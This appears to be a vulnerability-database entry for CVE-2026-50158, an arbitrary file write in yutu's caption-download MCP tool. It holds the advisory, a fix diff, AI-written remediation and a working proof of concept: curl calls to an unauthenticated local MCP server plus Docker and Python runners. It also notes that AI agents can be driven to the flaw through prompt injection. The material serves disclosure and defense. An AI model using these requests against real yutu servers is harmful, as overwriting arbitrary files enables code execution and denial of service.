yutu CVE-2026-50158
HIGHSeverity by source
AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
MCP endpoint is local and unauthenticated by default (AV:L, PR:N, UI:N); arbitrary overwrite gives high integrity and availability impact but no read, so C:N; scope unchanged as writes stay within the process's OS rights.
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
Lifecycle Timeline
3DescriptionGitHub Advisory
Arbitrary File Write via MCP caption-download Tool
Summary
The caption-download MCP tool in yutu passes the caller-supplied file parameter directly to os.Create() at pkg/caption/caption.go:272 without any path validation, canonicalization, or confinement to the pkg.Root boundary (YUTU_ROOT). A local attacker - or any process able to reach the HTTP MCP server - can write arbitrary content to any path writable by the yutu process, entirely outside the intended working directory. This is a High severity vulnerability (CVSS 7.7) with high integrity and availability impact.
Details
yutu uses pkg.Root (backed by Go 1.24's os.OpenRoot) to restrict all file I/O to the YUTU_ROOT directory. Every other caption file-write path honours this boundary:
| Method | Sink | Confined? |
|---|---|---|
Caption.Insert() | pkg.Root.Open(c.File) (caption.go:109) | Yes |
Caption.Update() | pkg.Root.Open(c.File) (caption.go:193) | Yes |
Caption.Download() | os.Create(c.File) (caption.go:272) | No |
Caption.Download() is the sole outlier. The attacker-controlled file field flows without restriction from the MCP tool input schema to a raw os.Create() call:
- Source -
cmd/caption/download.go:32-41:downloadInSchemadeclaresfileas a requiredstringfield in the MCP JSON input schema. - Binding -
cmd/caption/download.go:61-64:cobramcp.GenToolHandlermaps MCP input toinput.Download(writer). - Sink -
pkg/caption/caption.go:272:os.Create(c.File)creates or truncates the file at the attacker-supplied path. - Write -
pkg/caption/caption.go:280:file.Write(body)writes the downloaded caption bytes to that path.
// cmd/caption/download.go
var downloadInSchema = &jsonschema.Schema{
Required: []string{"ids", "file"}, // line 34
// ...
"file": {Type: "string", Description: fileUsage}, // line 40
}
// cobramcp.GenToolHandler binds MCP → handler (line 61-64)
cobramcp.GenToolHandler(downloadTool, func(input caption.Caption, writer io.Writer) error {
return input.Download(writer)
})
// pkg/caption/caption.go
body, err := io.ReadAll(res.Body) // line 267
file, err := os.Create(c.File) // line 272 ← unconfined sink
// ...
_, err = file.Write(body) // line 280The caption-download tool is registered by default in init() at cmd/caption/download.go:52, and the HTTP MCP server starts with --auth defaulting to false (cmd/mcp.go:42), meaning no authentication is required for local HTTP callers.
Recommended fix:
--- a/pkg/caption/caption.go
+++ b/pkg/caption/caption.go
@@
- file, err := os.Create(c.File)
+ file, err := pkg.Root.OpenFile(c.File, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0600)
if err != nil {
return errors.Join(errDownloadCaption, err)
}PoC
Prerequisites:
- yutu
0.0.0-dev/ commit351c99d - Valid
YUTU_CREDENTIALandYUTU_CACHE_TOKENavailable - yutu MCP server running in HTTP mode
Docker-based reproduction (no live credentials needed):
The self-contained PoC builds a binary that exercises caption.Download() directly inside a container, with YUTU_ROOT=/tmp/yutu_safe_root as the confinement boundary.
# From the report workspace root:
docker build --no-cache -t yutu-vuln001-poc \
-f vuln-001/Dockerfile \
reports/mcp_49_eat-pray-ai__yutu
docker run --rm yutu-vuln001-pocExpected output confirms:
pkg.Root.Open("/tmp/poc-arbitrary-write.txt")is correctly rejected withpath escapes from parent(control).caption.Download()withfile="/tmp/poc-arbitrary-write.txt"succeeds and creates a 79-byte file outsideYUTU_ROOT(exploit).
Live MCP server reproduction:
# Start the HTTP MCP server (no auth by default)
yutu mcp --mode http --port 8216
# Initialise session
curl -sD /tmp/yutu.headers \
-H 'Content-Type: application/json' \
-H 'Accept: application/json, text/event-stream' \
http://localhost:8216/mcp \
-d '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-06-18","capabilities":{},"clientInfo":{"name":"poc","version":"1"}}}' \
>/tmp/yutu.init
SID=$(awk 'tolower($1)=="mcp-session-id:"{print $2}' /tmp/yutu.headers | tr -d '\r')
# Exploit: write caption to arbitrary path
# Replace CAPTION_ID with a caption id accessible by the configured token
curl -s \
-H 'Content-Type: application/json' \
-H 'Accept: application/json, text/event-stream' \
${SID:+-H "Mcp-Session-Id: $SID"} \
http://localhost:8216/mcp \
-d '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"caption-download","arguments":{"ids":["CAPTION_ID"],"file":"/tmp/yutu-cve-poc.srt","tfmt":"srt"}}}'
# Verify file was written outside YUTU_ROOT
test -s /tmp/yutu-cve-poc.srt && ls -l /tmp/yutu-cve-poc.srtImpact
This is an Arbitrary File Write vulnerability. Any principal that can invoke the caption-download MCP tool - including an unauthenticated local process when the HTTP MCP server is running with default settings (--auth false) - can write attacker-controlled bytes to any file path accessible to the yutu process. This bypasses the YUTU_ROOT confinement boundary that all other file-write operations in yutu respect.
Potential consequences include:
- Overwriting application binaries, configuration files, or shell startup scripts to achieve persistent code execution.
- Corrupting log files or database files to cause denial of service.
- Writing web-accessible files in deployments where yutu runs alongside a web server.
- Exploitable via prompt injection into an AI agent that uses the yutu MCP server, since the
fileparameter is fully attacker-controlled with no guardrails.
Impacted parties: operators running yutu as an MCP server (HTTP mode, default configuration), AI agent pipelines that expose caption-download to untrusted input, and any user whose machine hosts a yutu process that a local attacker can reach.
Reproduction artifacts
Dockerfile
# VULN-001 PoC Dockerfile
# Build con: reports/mcp_49_eat-pray-ai__yutu/
# repo/ - the cloned yutu repository
# vuln-001/ - this workspace (Dockerfile, poc_main.go)
FROM golang:1.26 AS builder
WORKDIR /build
# Copy the yutu source tree (provides the vulnerable packages)
COPY repo/ .
# Inject PoC as a new command package (does not modify existing source)
RUN mkdir -p cmd/poc_exploit
COPY vuln-001/poc_main.go cmd/poc_exploit/main.go
# Build the PoC binary (static, no CGO needed)
RUN CGO_ENABLED=0 go build -o /poc ./cmd/poc_exploit/
# ── Runtime stage ──────────────────────────────────────────────────────────
FROM debian:12-slim
COPY --from=builder /poc /poc
# YUTU_ROOT defines the pkg.Root confinement boundary.
# The PoC writes to /tmp/poc-arbitrary-write.txt which is OUTSIDE this root,
# demonstrating the os.Create bypass.
ENV YUTU_ROOT=/tmp/yutu_safe_root
RUN mkdir -p /tmp/yutu_safe_root
CMD ["/poc"]poc.py
#!/usr/bin/env python3
"""
VULN-001 PoC Runner
Exploit: Arbitrary File Write via MCP caption-download (CWE-73)
Target : pkg/caption/caption.go:272 -- os.Create(c.File) without pkg.Root confinement
Usage: python3 poc.py
"""
import os
import subprocess
import sys
VULN_DIR = os.path.dirname(os.path.abspath(__file__))
CONTEXT_DIR = os.path.dirname(VULN_DIR)
# mcp_49_eat-pray-ai__yutu/
DOCKERFILE = os.path.join(VULN_DIR, "Dockerfile")
IMAGE_NAME = "yutu-vuln001-poc"
def run(cmd, check=False, **kwargs):
print("$ " + " ".join(str(a) for a in cmd))
result = subprocess.run(cmd, =True, **kwargs)
return result
def main():
print("=" * 70)
print("VULN-001: Arbitrary File Write via MCP caption-download")
print("CWE-73 | pkg/caption/caption.go:272 | os.Create(c.File)")
print("=" * 70)
# ── Build ────────────────────────────────────────────────────────────────
build_cmd = [
"docker", "build",
"--no-cache",
"-t", IMAGE_NAME,
"-f", DOCKERFILE,
CONTEXT_DIR,
]
print("\n[Step 1] Building Docker image ...")
result = run(build_cmd, capture_output=False)
if result.returncode != 0:
print("\n[FAIL] Docker build failed.", file=sys.stderr)
sys.exit(1)
# ── Run ──────────────────────────────────────────────────────────────────
run_cmd = ["docker", "run", "--rm", IMAGE_NAME]
print("\n[Step 2] Running PoC container ...")
result = run(run_cmd, capture_output=True)
stdout = result.stdout or ""
stderr = result.stderr or ""
print(stdout, end="")
if stderr:
print(stderr, end="", file=sys.stderr)
# ── Verdict ──────────────────────────────────────────────────────────────
passed = (
result.returncode == 0
and "VULNERABILITY CONFIRMED" in stdout
and "PASS" in stdout
and "os.Create bypasses pkg.Root" in stdout
)
if passed:
print("\n[RESULT] PASS - vulnerability dynamically reproduced.")
else:
print(f"\n[RESULT] FAIL - container exit code {result.returncode}.", file=sys.stderr)
sys.exit(1)
if __name__ == "__main__":
main()Articles & Coverage 1
AnalysisAI
Arbitrary file write in yutu, a Go-based YouTube CLI and MCP server, lets any caller of the built-in caption-download MCP tool place attacker-controlled bytes at any filesystem path the yutu process can write to. The vulnerable Caption.Download() calls os.Create() on the caller-supplied file parameter, bypassing the YUTU_ROOT (pkg.Root/os.OpenRoot) confinement that every other caption write path enforces. Publicly available exploit code exists (a self-contained Docker PoC ships with the advisory); the flaw is not in CISA KEV and no active exploitation is reported, and the vendor has released a fixed version (0.10.9-dev1).
Technical ContextAI
yutu manages YouTube resources and can expose its commands as tools over the Model Context Protocol (MCP). Since Go 1.24 it confines file I/O to the YUTU_ROOT directory using os.OpenRoot (surfaced as pkg.Root), which rejects paths that escape the root with 'path escapes from parent'. The root cause is CWE-73 (External Control of Filename or Path): the download handler flows the MCP-supplied file string from the tool's JSON input schema (cmd/caption/download.go) straight into a raw os.Create() at pkg/caption/caption.go:272, with no canonicalization or root-relative opening. Because os.Create resolves absolute and traversal paths against the real filesystem rather than the confined root, the intended YUTU_ROOT sandbox is silently bypassed for this one code path, while sibling methods Caption.Insert() and Caption.Update() correctly use pkg.Root.Open(). The fix replaces os.Create with pkg.Root.OpenFile(c.File, O_WRONLY|O_CREATE|O_TRUNC, 0600). Affected package is pkg:go/github.com/eat-pray-ai/yutu.
RemediationAI
Vendor-released patch: upgrade to yutu 0.10.9-dev1 or later, which replaces the unconfined os.Create with pkg.Root.OpenFile so the download path honours the YUTU_ROOT boundary (fix commit https://github.com/eat-pray-ai/yutu/commit/87026c4eee1ed28775383807087343a750707bf3, release https://github.com/eat-pray-ai/yutu/releases/tag/v0.10.9-dev1, advisory https://github.com/eat-pray-ai/yutu/security/advisories/GHSA-2c7f-fxww-6w6c). Until you can upgrade, avoid running the MCP server in HTTP mode, or if you must, do not rely on the default and enable authentication (start with --auth true) so unauthenticated local callers cannot invoke tools; bind the listener to loopback only and restrict which local processes can reach the port, accepting that this does not stop an AI agent driven by untrusted input. Where feasible, run yutu under a low-privilege account whose writable paths contain nothing security-sensitive (no shell rc files, binaries, or web roots) so an arbitrary write cannot escalate to code execution, and consider not exposing caption-download to agents that process untrusted content; note these controls reduce but do not eliminate the arbitrary-write primitive, which only the patch fully closes.
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Same weakness CWE-73 – External Control of File Name or Path
View allSame technique Denial Of Service
View allVendor StatusVendor
SUSE
Severity: Important| Product | Status |
|---|---|
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Affected |
| openSUSE Leap 15.5 | Affected |
| openSUSE Leap 15.6 | Affected |
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External POC / Exploit Code
Leaving vuln.today
GHSA-2c7f-fxww-6w6c